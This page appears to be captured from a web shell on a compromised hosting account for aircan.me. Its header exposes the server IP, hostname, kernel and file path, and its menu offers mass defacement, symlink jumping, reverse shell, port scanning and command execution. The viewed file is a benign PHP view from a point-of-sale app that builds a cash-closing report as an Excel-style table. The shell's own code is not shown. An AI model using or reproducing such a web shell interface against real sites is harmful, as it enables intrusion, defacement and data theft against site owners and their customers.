Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil
/
views
/
cajas
/
Viewing: excel.php
<?php $movimientos = $data['movimientos']; $detalleCierre = $movimientos['detalleCierre'] ?? []; $totalesPorFormaPago = $movimientos['totalesPorFormaPago'] ?? []; $cierreMetodos = $movimientos['cierreMetodos'] ?? []; $entradas = [ ['Fondo Inicial en Efectivo', $movimientos['inicialDecimal']], ['Ventas de contado', $movimientos['ventasContadoDecimal']], ['Adelantos de apartados', $movimientos['apartadosDecimal']], ['Cobros / abonos de taller', $movimientos['tallerDecimal']], ['Abonos de créditos', $movimientos['creditosDecimal']], ['TOTAL ENTRADAS', $movimientos['totalEntradasCierreDecimal'], true], ]; $salidas = [ ['Egresos Operativos', $movimientos['egresosDecimal']], ['Gastos de Caja', $movimientos['gastosDecimal']], ['TOTAL SALIDAS', $movimientos['totalSalidasCierreDecimal'], true], ['SALDO ESPERADO (FÍSICO)', $movimientos['saldoDecimal'], true], ]; // Metodos de pago comparison $metodos_arr = []; $total_sis = 0; foreach ($totalesPorFormaPago as $metodo => $monto) { if ($monto > 0) { $metodos_arr[$metodo] = ['sis' => $monto, 'fis' => 0]; $total_sis += $monto; } } $total_fis = 0; foreach ($cierreMetodos as $cm) { $metodo = $cm['metodo']; if (!isset($metodos_arr[$metodo])) { $metodos_arr[$metodo] = ['sis' => 0, 'fis' => 0]; } $metodos_arr[$metodo]['fis'] += (float)$cm['monto']; $total_fis += (float)$cm['monto']; } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> </head> <body> <table border="1" style="font-family: Arial, sans-serif; font-size: 12px; border-collapse: collapse;"> <!-- HEADER --> <tr> <th colspan="4" style="background-color: #1a56db; color: white; font-size: 16px; text-align: center; font-weight: bold;"> REPORTE DE CIERRE DE CAJA - <?php echo mb_strtoupper($data['empresa']['nombre'] ?? 'EMPRESA'); ?> </th> </tr> <tr> <td colspan="2" style="font-weight: bold;">Caja Número: <?php echo $data['numeroCaja'] ?? $data['idCaja']; ?></td> <td colspan="2" style="font-weight: bold;">Fecha de Impresión: <?php echo date('Y-m-d H:i:s'); ?></td> </tr> <tr> <td colspan="4" style="font-weight: bold;"> <?php if (!empty($data['rango']['desde'])) { echo 'Rango: ' . $data['rango']['desde'] . ' al ' . $data['rango']['hasta']; } ?> </td> </tr> <tr><td colspan="4"></td></tr> <!-- FONDOS Y ENTRADAS --> <tr> <th colspan="2" style="background-color: #374151; color: white; font-weight: bold; text-align: left;">FONDOS Y ENTRADAS</th> </tr> <tr> <th style="background-color: #e5e7eb; font-weight: bold;">Concepto</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: right;">Monto (<?php echo MONEDA; ?>)</th> </tr> <?php foreach ($entradas as $ent): $bold = isset($ent[2]) && $ent[2] ? 'font-weight:bold; background-color:#f3f4f6;' : ''; ?> <tr> <td style="<?php echo $bold; ?>"><?php echo $ent[0]; ?></td> <td style="text-align: right; <?php echo $bold; ?>"><?php echo $ent[1]; ?></td> </tr> <?php endforeach; ?> <tr><td colspan="4"></td></tr> <!-- SALIDAS DE DINERO --> <tr> <th colspan="2" style="background-color: #374151; color: white; font-weight: bold; text-align: left;">SALIDAS DE DINERO</th> </tr> <tr> <th style="background-color: #e5e7eb; font-weight: bold;">Concepto</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: right;">Monto (<?php echo MONEDA; ?>)</th> </tr> <?php foreach ($salidas as $sal): $bold = isset($sal[2]) && $sal[2] ? 'font-weight:bold; background-color:#f3f4f6;' : ''; if ($sal[0] == 'SALDO ESPERADO (FÍSICO)') { $bold = 'font-weight:bold; background-color:#fbbf24; color: black;'; } ?> <tr> <td style="<?php echo $bold; ?>"><?php echo $sal[0]; ?></td> <td style="text-align: right; <?php echo $bold; ?>"><?php echo $sal[1]; ?></td> </tr> <?php endforeach; ?> <tr><td colspan="4"></td></tr> <!-- ARQUEO POR MÉTODO DE PAGO --> <tr> <th colspan="4" style="background-color: #374151; color: white; font-weight: bold; text-align: left;">ARQUEO POR MÉTODO DE PAGO</th> </tr> <tr> <th style="background-color: #e5e7eb; font-weight: bold;">Método</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: right;">Sistema</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: right;">Declarado (Físico)</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: right;">Diferencia</th> </tr> <?php foreach ($metodos_arr as $met => $vals): $sis = number_format($vals['sis'], 2); $fis = number_format($vals['fis'], 2); $dif = number_format($vals['fis'] - $vals['sis'], 2); ?> <tr> <td><?php echo mb_strtoupper($met); ?></td> <td style="text-align: right;"><?php echo $sis; ?></td> <td style="text-align: right;"><?php echo $fis; ?></td> <td style="text-align: right;"><?php echo $dif; ?></td> </tr> <?php endforeach; ?> <tr> <td style="font-weight:bold; background-color:#f3f4f6;">TOTALES</td> <td style="text-align: right; font-weight:bold; background-color:#f3f4f6;"><?php echo number_format($total_sis, 2); ?></td> <td style="text-align: right; font-weight:bold; background-color:#f3f4f6;"><?php echo number_format($total_fis, 2); ?></td> <td style="text-align: right; font-weight:bold; background-color:#f3f4f6;"><?php echo number_format($total_fis - $total_sis, 2); ?></td> </tr> <tr><td colspan="4"></td></tr> <!-- DETALLE OPERATIVO --> <?php if (!empty($detalleCierre)): ?> <tr> <th colspan="3" style="background-color: #374151; color: white; font-weight: bold; text-align: left;">DETALLE OPERATIVO DE VENTAS</th> </tr> <tr> <th style="background-color: #e5e7eb; font-weight: bold;">Concepto</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: center;">Cantidad</th> <th style="background-color: #e5e7eb; font-weight: bold; text-align: right;">Monto (<?php echo MONEDA; ?>)</th> </tr> <?php foreach ($detalleCierre as $item): ?> <tr> <td><?php echo htmlspecialchars($item['titulo']); ?></td> <td style="text-align: center;"><?php echo htmlspecialchars($item['cantidad']); ?></td> <td style="text-align: right;"><?php echo number_format((float)$item['monto'], 2); ?></td> </tr> <?php endforeach; ?> <?php endif; ?> </table> </body> </html>
Coded With 💗 by
0x6ick